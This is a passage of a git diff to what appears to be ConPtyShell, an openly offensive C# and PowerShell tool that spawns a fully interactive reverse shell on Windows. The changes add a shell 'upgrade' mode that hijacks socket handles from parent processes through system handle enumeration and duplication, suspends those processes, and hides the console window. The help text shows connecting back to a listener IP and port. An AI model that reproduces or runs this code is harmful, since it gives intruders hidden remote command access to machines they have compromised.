outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
if (!SetConsoleMode(hStdOut, outConsoleMode))
{
- throw new InvalidOperationException("Could not enable virtual terminal processing");
+ throw new ConPtyShellException("Could not enable virtual terminal processing");
}
}
@@ -325,7 +747,7 @@ private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole,
bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
if (success || lpSize == IntPtr.Zero)
{
- throw new InvalidOperationException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error());
+ throw new ConPtyShellException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error());
}
STARTUPINFOEX startupInfo = new STARTUPINFOEX();
startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo);
@@ -333,12 +755,12 @@ private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole,
success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize);
if (!success)
{
- throw new InvalidOperationException("Could not set up attribute list. " + Marshal.GetLastWin32Error());
+ throw new ConPtyShellException("Could not set up attribute list. " + Marshal.GetLastWin32Error());
}
success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero,IntPtr.Zero);
if (!success)
{
- throw new InvalidOperationException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error());
+ throw new ConPtyShellException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error());
}
return startupInfo;
}
@@ -354,7 +776,7 @@ private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string
bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo);
if (!success)
{
- throw new InvalidOperationException("Could not create process. " + Marshal.GetLastWin32Error());
+ throw new ConPtyShellException("Could not create process. " + Marshal.GetLastWin32Error());
}
return pInfo;
}
@@ -371,15 +793,13 @@ private static void ThreadReadPipeWriteSocket(object threadParams)
IntPtr OutputPipeRead = (IntPtr)threadParameters[0];
IntPtr shellSocket = (IntPtr)threadParameters[1];
int bufferSize=256;
-
bool readSuccess = false;
Int32 bytesSent = 0;
uint dwBytesRead=0;
do{
byte[] bytesToWrite = new byte[bufferSize];
readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero);
- bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0);
-
+ bytesSent = send(shellSocket, bytesToWrite, bufferSize, 0);
} while (bytesSent > 0 && readSuccess);
}
@@ -420,43 +840,64 @@ private static void ThreadReadSocketWritePipe(object threadParams)
return thReadSocketWritePipe;
}
- public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine){
- string output = "";
- IntPtr shellSocket = connectRemote(remoteIp, remotePort);
- if(shellSocket == IntPtr.Zero){
- output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
- return output;
- }
- TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols);
- IntPtr InputPipeRead = new IntPtr(0);
- IntPtr InputPipeWrite = new IntPtr(0);
- IntPtr OutputPipeRead = new IntPtr(0);
- IntPtr OutputPipeWrite = new IntPtr(0);
- IntPtr handlePseudoConsole = new IntPtr(0);
- IntPtr oldStdIn = new IntPtr(0);
- IntPtr oldStdOut = new IntPtr(0);
- IntPtr oldStdErr = new IntPtr(0);
+ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell){
+ IntPtr shellSocket = IntPtr.Zero;
+ IntPtr InputPipeRead = IntPtr.Zero;
+ IntPtr InputPipeWrite = IntPtr.Zero;
+ IntPtr OutputPipeRead = IntPtr.Zero;
+ IntPtr OutputPipeWrite = IntPtr.Zero;
+ IntPtr handlePseudoConsole = IntPtr.Zero;
+ IntPtr oldStdIn = IntPtr.Zero;
+ IntPtr oldStdOut = IntPtr.Zero;
+ IntPtr oldStdErr = IntPtr.Zero;
bool newConsoleAllocated = false;
+ bool parentSocketInherited = false;
+ bool grandParentSocketInherited = false;
+ bool conptyCompatible = false;
+ string output = "";
+ Process currentProcess = null;
+ Process parentProcess = null;
+ Process grandParentProcess = null;
+
+ if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero)
+ conptyCompatible = true;
+
PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION();
CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite);
InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr);
- if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){
- Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n");
- STARTUPINFO sInfo = new STARTUPINFO();
- sInfo.cb = Marshal.SizeOf(sInfo);
- sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES;
- sInfo.hStdInput = InputPipeRead;
- sInfo.hStdOutput = OutputPipeWrite;
- sInfo.hStdError = OutputPipeWrite;
- CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo);
- }
- else{
- Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n");
+
+ if(conptyCompatible){
+ Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n");
+ if(upgradeShell){
+ currentProcess = Process.GetCurrentProcess();
+ parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle);
+ grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle);
+ shellSocket = SocketHijacking.GetSocketTargetProcess(currentProcess);
+ if(shellSocket != IntPtr.Zero){
+ shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess);
+ if(parentProcess != null)
+ parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess);
+ }
+ else
+ shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess);
+ if(grandParentProcess != null)
+ grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess);
+ }
+ else{
+ shellSocket = connectRemote(remoteIp, remotePort);
+ if(shellSocket == IntPtr.Zero){
+ output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
+ return output;
+ }
+ TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols);
+ }
if(GetConsoleWindow() == IntPtr.Zero){
AllocConsole();
ShowWindow(GetConsoleWindow(), SW_HIDE);
newConsoleAllocated = true;
}
+ //Console.WriteLine("Creating pseudo console...");
+ //return "";
int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols);
if(pseudoConsoleCreationResult != 0)
{
@@ -465,6 +906,26 @@ private static void ThreadReadSocketWritePipe(object threadParams)
}
childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine);
}
+ else{
+ if(upgradeShell){
+ output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system");
+ return output;
+ }
+ shellSocket = connectRemote(remoteIp, remotePort);
+ if(shellSocket == IntPtr.Zero){
+ output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
+ return output;
+ }
+ Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n");
+ STARTUPINFO sInfo = new STARTUPINFO();
+ sInfo.cb = Marshal.SizeOf(sInfo);
+ sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES;
+ sInfo.hStdInput = InputPipeRead;
+ sInfo.hStdOutput = OutputPipeWrite;
+ sInfo.hStdError = OutputPipeWrite;
+ CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo);
+ }
+
// Note: We can close the handles to the PTY-end of the pipes here
// because the handles are dup'ed into the ConHost and will be released
// when the ConPTY is destroyed.
@@ -473,8 +934,12 @@ private static void ThreadReadSocketWritePipe(object threadParams)
//Threads have better performance than Tasks
Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket);
Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess);
+ if(upgradeShell && parentSocketInherited) NtSuspendProcess(parentProcess.Handle);
+ if(upgradeShell && grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle);
WaitForSingleObject(childProcessInfo.hProcess, INFINITE);
//cleanup everything
+ if(upgradeShell && parentSocketInherited) NtResumeProcess(parentProcess.Handle);
+ if(upgradeShell && grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle);
thThreadReadPipeWriteSocket.Abort();
thReadSocketWritePipe.Abort();
closesocket(shellSocket);
@@ -537,7 +1002,10 @@ public static class ConPtyShellMainClass{
Spawn a reverse shell (cmd.exe) with specific rows and cols size
ConPtyShell.exe 10.0.0.2 3001 30 90 cmd.exe
-
+
+ Upgrade your current shell with specific rows and cols size
+ ConPtyShell.exe upgrade shell 30 90
+
";
private static bool HelpRequired(string param)
@@ -547,11 +1015,8 @@ private static bool HelpRequired(string param)
private static void CheckArgs(string[] arguments)
{
- if(arguments.Length < 2){
- Console.Out.Write("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n");
- System.Environment.Exit(0);
- }
-
+ if(arguments.Length < 2)
+ throw new ConPtyShellException("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n");
}
private static void DisplayHelp()
@@ -562,20 +1027,14 @@ private static void DisplayHelp()
private static string CheckRemoteIpArg(string ipString){
IPAddress address;
if (!IPAddress.TryParse(ipString, out address))
- {
- Console.Out.Write("\r\nConPtyShell: Invalid remoteIp value {0}\r\n", ipString);
- System.Environment.Exit(0);
- }
+ throw new ConPtyShellException("\r\nConPtyShell: Invalid remoteIp value" + ipString);
return ipString;
}
private static int CheckInt(string arg){
int ret = 0;
if (!Int32.TryParse(arg, out ret))
- {
- Console.Out.Write("\r\nConPtyShell: Invalid integer value {0}\r\n", arg);
- System.Environment.Exit(0);
- }
+ throw new ConPtyShellException("\r\nConPtyShell: Invalid integer value " + arg);
return ret;
}
@@ -609,12 +1068,19 @@ private static void DisplayHelp()
else
{
CheckArgs(args);
- string remoteIp = CheckRemoteIpArg(args[0]);
- int remotePort = CheckInt(args[1]);
+ string remoteIp = "";
+ int remotePort = 0;
+ bool upgradeShell = false;
+ if(args[0].Contains("upgrade"))
+ upgradeShell = true;
+ else{
+ remoteIp = CheckRemoteIpArg(args[0]);
+ remotePort = CheckInt(args[1]);
+ }
uint rows = ParseRows(args);
uint cols = ParseCols(args);
string commandLine = ParseCommandLine(args);
- output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine);
+ output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell);
}
return output;
}
diff --git a/Invoke-ConPtyShell.ps1 b/Invoke-ConPtyShell.ps1
index 42d42f2..18c0a93 100644
--- a/Invoke-ConPtyShell.ps1
+++ b/Invoke-ConPtyShell.ps1
@@ -1,5 +1,3 @@
-#Requires -Version 2
-
function Invoke-ConPtyShell
{
<#
@@ -62,14 +60,21 @@ function Invoke-ConPtyShell
-----------
Spawn a reverse shell (cmd.exe) with specific rows and cols size
+ .EXAMPLE
+ PS>Invoke-ConPtyShell -Upgrade -Rows 30 -Cols 90
+
+ Description
+ -----------
+ Upgrade your current shell with specific rows and cols size
+
#>
Param
(
- [Parameter(Position = 0, Mandatory = $True)]
+ [Parameter(Position = 0)]
[String]
$RemoteIp,
- [Parameter(Position = 1, Mandatory = $True)]
+ [Parameter(Position = 1)]
[String]
$RemotePort,
@@ -83,8 +88,27 @@ function Invoke-ConPtyShell
[Parameter()]
[String]
- $CommandLine = "powershell.exe"
+ $CommandLine = "powershell.exe",
+
+ [Parameter()]
+ [Switch]
+ $Upgrade
)
+
+ if( $PSBoundParameters.ContainsKey('Upgrade') ) {
+ $RemoteIp = "upgrade"
+ $RemotePort = "shell"
+ }
+ else{
+
+ if(-Not($PSBoundParameters.ContainsKey('RemoteIp'))) {
+ throw "RemoteIp missing parameter"
+ }
+
+ if(-Not($PSBoundParameters.ContainsKey('RemotePort'))) {
+ throw "RemotePort missing parameter"
+ }
+ }
$parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine)
Add-Type -TypeDefinition $Source -Language CSharp;
$output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell)
@@ -99,6 +123,426 @@ using System.Threading;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
+using System.Diagnostics;
+
+public class ConPtyShellException : Exception
+{
+ private const string error_string = "[-] ConPtyShellException: ";
+
+ public ConPtyShellException(){}
+
+ public ConPtyShellException(string message) : base(error_string + message){}
+}
+
+public class DeadlockCheckHelper{
+
+ private bool deadlockDetected;
+ private IntPtr targetHandle;
+
+ private delegate uint LPTHREAD_START_ROUTINE(uint lpParam);
+
+ [DllImport("kernel32.dll")]
+ private static extern bool CloseHandle(IntPtr hObject);
+
+ [DllImport("kernel32.dll", SetLastError=true)]
+ private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
+
+ [DllImport("Kernel32.dll", SetLastError=true)]
+ private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
+
+ private uint ThreadCheckDeadlock(uint threadParams)
+ {
+ SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0);
+ this.deadlockDetected = false;
+ return 0;
+ }
+
+ public bool CheckDeadlockDetected(IntPtr tHandle){
+ this.deadlockDetected = true;
+ this.targetHandle = tHandle;
+ LPTHREAD_START_ROUTINE delegateThreadCheckDeadlock = new LPTHREAD_START_ROUTINE(this.ThreadCheckDeadlock);
+ IntPtr hThread = IntPtr.Zero;
+ uint threadId = 0;
+ //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains...
+ hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId);
+ WaitForSingleObject(hThread, 1000);
+ //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads.
+ //just some waste of threads :(
+ CloseHandle(hThread);
+ return this.deadlockDetected;
+ }
+}
+
+public static class SocketHijacking{
+
+ private const uint NTSTATUS_SUCCESS = 0x00000000;
+ private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004;
+ private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005;
+ private const uint NTSTATUS_BUFFERTOOSMALL = 0xc0000023;
+ private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
+ private const int WSA_FLAG_OVERLAPPED = 0x1;
+ private const int DUPLICATE_SAME_ACCESS = 0x2;
+ private const int SystemHandleInformation = 16;
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ private struct SYSTEM_HANDLE
+ {
+ public ushort ProcessId;
+ public ushort CreatorBackTrackIndex;
+ public byte ObjectTypeNumber;
+ public byte HandleAttribute;
+ public ushort Handle;
+ public IntPtr Object;
+ public IntPtr GrantedAccess;
+ }
+
+ public enum OBJECT_INFORMATION_CLASS : int
+ {
+ ObjectBasicInformation = 0,
+ ObjectNameInformation = 1,
+ ObjectTypeInformation = 2,
+ ObjectAllTypesInformation = 3,
+ ObjectHandleInformation = 4
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ private struct OBJECT_NAME_INFORMATION
+ {
+ public UNICODE_STRING Name;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ private struct UNICODE_STRING
+ {
+ public ushort Length;
+ public ushort MaximumLength;
+ public IntPtr Buffer;
+ }
+
+ [Flags]
+ private enum ProcessAccessFlags : uint
+ {
+ All = 0x001F0FFF,
+ Terminate = 0x00000001,
+ CreateThread = 0x00000002,
+ VirtualMemoryOperation = 0x00000008,
+ VirtualMemoryRead = 0x00000010,
+ VirtualMemoryWrite = 0x00000020,
+ DuplicateHandle = 0x00000040,
+ CreateProcess = 0x000000080,
+ SetQuota = 0x00000100,
+ SetInformation = 0x00000200,
+ QueryInformation = 0x00000400,
+ QueryLimitedInformation = 0x00001000,
+ Synchronize = 0x00100000
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ private struct WSAData
+ {
+ public short wVersion;
+ public short wHighVersion;
+ public short iMaxSockets;
+ public short iMaxUdpDg;
+ public IntPtr lpVendorInfo;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
+ public string szDescription;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
+ public string szSystemStatus;
+ }
+
+ [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Auto)]
+ private struct WSAPROTOCOLCHAIN {
+ public int ChainLen;
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst=7)]
+ public uint[] ChainEntries;
+ }
+
+ [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Auto)]
+ private struct WSAPROTOCOL_INFO {
+ public uint dwServiceFlags1;
+ public uint dwServiceFlags2;
+ public uint dwServiceFlags3;
+ public uint dwServiceFlags4;
+ public uint dwProviderFlags;
+ public Guid ProviderId;
+ public uint dwCatalogEntryId;
+ public WSAPROTOCOLCHAIN ProtocolChain;
+ public int iVersion;
+ public int iAddressFamily;
+ public int iMaxSockAddr;
+ public int iMinSockAddr;
+ public int iSocketType;
+ public int iProtocol;
+ public int iProtocolMaxOffset;
+ public int iNetworkByteOrder;
+ public int iSecurityScheme;
+ public uint dwMessageSize;
+ public uint dwProviderReserved;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst=256)]
+ public string szProtocol;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ private struct SOCKADDR_IN
+ {
+ public short sin_family;
+ public short sin_port;
+ public uint sin_addr;
+ public long sin_zero;
+ }
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)]
+ private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData);
+
+ [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)]
+ private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+ private static extern IntPtr WSASocket([In] int addressFamily, [In] int socketType, [In] int protocolType, ref WSAPROTOCOL_INFO lpProtocolInfo, Int32 group1, int dwFlags);
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto)]
+ private static extern Int32 WSAGetLastError();
+
+ [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+ private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ private static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ [return: MarshalAs(UnmanagedType.Bool)]
+ private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
+
+ [DllImport("kernel32.dll")]
+ private static extern bool CloseHandle(IntPtr hObject);
+
+ [DllImport("kernel32.dll")]
+ private static extern IntPtr GetCurrentProcess();
+
+ [DllImport("ntdll.dll")]
+ private static extern uint NtQueryObject(IntPtr objectHandle, OBJECT_INFORMATION_CLASS informationClass, IntPtr informationPtr, uint informationLength, ref int returnLength);
+
+ [DllImport("ntdll.dll")]
+ private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength);
+
+
+ //helper method with "dynamic" buffer allocation
+ private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength)
+ {
+ if (infoLength == 0)
+ infoLength = 0x10000;
+ IntPtr infoPtr = Marshal.AllocHGlobal(infoLength);
+ while (true)
+ {
+ uint result = (uint)NtQuerySystemInformation(infoClass, infoPtr, infoLength, ref infoLength);
+ if (result == NTSTATUS_SUCCESS)
+ return infoPtr;
+ Marshal.FreeHGlobal(infoPtr); //free pointer when not Successful
+ if (result != NTSTATUS_INFOLENGTHMISMATCH && result != NTSTATUS_BUFFEROVERFLOW && result != NTSTATUS_BUFFERTOOSMALL)
+ {
+ //throw new Exception("Unhandled NtStatus " + result);
+ return IntPtr.Zero;
+ }
+ infoPtr = Marshal.AllocHGlobal(infoLength);
+ }
+ }
+
+ //helper method with "dynamic" buffer allocation
+ public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength)
+ {
+ if (infoLength == 0)
+ infoLength = Marshal.SizeOf(typeof(int));
+ IntPtr infoPtr = Marshal.AllocHGlobal(infoLength);
+ uint result;
+ while (true)
+ {
+ result = (uint)NtQueryObject(handle, infoClass, infoPtr, (uint)infoLength, ref infoLength);
+
+ if (result == NTSTATUS_INFOLENGTHMISMATCH || result == NTSTATUS_BUFFEROVERFLOW || result == NTSTATUS_BUFFERTOOSMALL)
+ {
+ Marshal.FreeHGlobal(infoPtr);
+ infoPtr = Marshal.AllocHGlobal((int)infoLength);
+ continue;
+ }
+ else if (result == NTSTATUS_SUCCESS)
+ break;
+ else
+ {
+ //throw new Exception("Unhandled NtStatus " + result);
+ break;
+ }
+ }
+
+ if (result == NTSTATUS_SUCCESS)
+ return infoPtr;//don't forget to free the pointer with Marshal.FreeHGlobal after you're done with it
+ else
+ Marshal.FreeHGlobal(infoPtr);//free pointer when not Successful
+
+ return IntPtr.Zero;
+ }
+
+
+
+ public static IntPtr GetSocketTargetProcess(Process targetProcess)
+ {
+ OBJECT_NAME_INFORMATION objNameInfo;
+ long HandlesCount = 0;
+ IntPtr dupHandle;
+ IntPtr ptrObjectName;
+ IntPtr ptrHandlesInfo;
+ IntPtr hTargetProcess;
+ string strObjectName;
+ IntPtr socketHandle = IntPtr.Zero;
+ DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper();
+
+ hTargetProcess = OpenProcess(ProcessAccessFlags.DuplicateHandle, false, targetProcess.Id);
+ if(hTargetProcess == IntPtr.Zero){
+ Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access");
+ return socketHandle;
+ }
+ ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0);
+ HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64();
+ // move pointer to the beginning of the address of SYSTEM_HANDLE[]
+ ptrHandlesInfo = new IntPtr(ptrHandlesInfo.ToInt64()+IntPtr.Size);
+ for(int i=0; i < HandlesCount; i++){
+ SYSTEM_HANDLE sysHandle = (SYSTEM_HANDLE)Marshal.PtrToStructure(ptrHandlesInfo, typeof(SYSTEM_HANDLE));
+ //move pointer to next SYSTEM_HANDLE
+ ptrHandlesInfo = (IntPtr)(ptrHandlesInfo.ToInt64() + Marshal.SizeOf(new SYSTEM_HANDLE()));
+ if(sysHandle.ProcessId != targetProcess.Id || sysHandle.ObjectTypeNumber != 0x25)
+ continue;
+
+ if(DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.Handle, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)){
+ if(deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)){ // this will avoids deadlocks on special named pipe handles
+ //Console.WriteLine("Deadlock detected");
+ CloseHandle(dupHandle);
+ continue;
+ }
+ ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0);
+ if (ptrObjectName == IntPtr.Zero){
+ CloseHandle(dupHandle);
+ continue;
+ }
+ objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION));
+ if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0 )
+ {
+ strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer);
+ //Console.WriteLine("strObjectName " + strObjectName);
+ if(strObjectName == "\\Device\\Afd"){
+ socketHandle = dupHandle;
+ break;
+ }
+ else{
+ if(ptrObjectName != IntPtr.Zero) Marshal.FreeHGlobal(ptrObjectName);
+ CloseHandle(dupHandle);
+ }
+ }
+ CloseHandle(dupHandle);
+ }
+ }
+ return socketHandle;
+ }
+
+ public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess){
+ IntPtr parentSocketHandle = IntPtr.Zero;
+ SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN();
+ SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN();
+ int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess);
+ int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess);
+ parentSocketHandle = GetSocketTargetProcess(parentProcess);
+
+ if(parentSocketHandle == IntPtr.Zero)
+ return false;
+ if(getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) != 0){
+ Console.WriteLine("getpeername sockaddrTargetProcess failed with wsalasterror " + WSAGetLastError().ToString());
+ CloseHandle(parentSocketHandle);
+ return false;
+ }
+ if(getpeername(socketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){
+ Console.WriteLine("getpeername sockaddrParentProcess failed with wsalasterror " + WSAGetLastError().ToString());
+ CloseHandle(parentSocketHandle);
+ return false;
+ }
+ if(sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port){
+ CloseHandle(parentSocketHandle);
+ return true;
+ }
+ CloseHandle(parentSocketHandle);
+ return false;
+ }
+
+ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess)
+ {
+ IntPtr targetSocketHandle = IntPtr.Zero;
+ IntPtr dupSocketHandle = IntPtr.Zero;
+ targetSocketHandle = GetSocketTargetProcess(targetProcess);
+ if(targetSocketHandle == IntPtr.Zero )
+ throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed.");
+ else{
+ WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO();
+ WSAData data;
+ if( WSAStartup(2 << 8 | 2, out data) != 0 )
+ throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError()));
+ int status = WSADuplicateSocket(targetSocketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo);
+ if (status != 0) {
+ Console.WriteLine("WSADuplicateSocket failed with error " + status.ToString() + " and wsalasterror " + WSAGetLastError().ToString() );
+ return dupSocketHandle;
+ }
+ dupSocketHandle = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);
+ if (dupSocketHandle == IntPtr.Zero || dupSocketHandle == new IntPtr(-1)) {
+ Console.WriteLine("WSASocket failed with error " + WSAGetLastError().ToString());
+ return dupSocketHandle;
+ }
+ }
+ return dupSocketHandle;
+ }
+}
+
+// source from --> https://stackoverflow.com/a/3346055
+[StructLayout(LayoutKind.Sequential)]
+public struct ParentProcessUtilities
+{
+ // These members must match PROCESS_BASIC_INFORMATION
+ internal IntPtr Reserved1;
+ internal IntPtr PebBaseAddress;
+ internal IntPtr Reserved2_0;
+ internal IntPtr Reserved2_1;
+ internal IntPtr UniqueProcessId;
+ internal IntPtr InheritedFromUniqueProcessId;
+
+ [DllImport("ntdll.dll")]
+ private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength);
+
+ public static Process GetParentProcess()
+ {
+ return GetParentProcess(Process.GetCurrentProcess().Handle);
+ }
+
+ public static Process GetParentProcess(int id)
+ {
+ Process process = Process.GetProcessById(id);
+ return GetParentProcess(process.Handle);
+ }
+
+ public static Process GetParentProcess(IntPtr handle)
+ {
+ ParentProcessUtilities pbi = new ParentProcessUtilities();
+ int returnLength;
+ int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength);
+ if (status != 0)
+ throw new ConPtyShellException(status.ToString());
+
+ try
+ {
+ return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32());
+ }
+ catch (ArgumentException)
+ {
+ // not found
+ return null;
+ }
+ }
+}
public static class ConPtyShell
{
@@ -110,7 +554,7 @@ public static class ConPtyShell
private const uint CREATE_NO_WINDOW = 0x08000000;
private const int STARTF_USESTDHANDLES = 0x00000100;
private const int BUFFER_SIZE_PIPE = 1048576;
-
+ private const int WSA_FLAG_OVERLAPPED = 0x1;
private const UInt32 INFINITE = 0xFFFFFFFF;
private const int SW_HIDE = 0;
private const uint GENERIC_READ = 0x80000000;
@@ -123,6 +567,8 @@ public static class ConPtyShell
private const int STD_OUTPUT_HANDLE = -11;
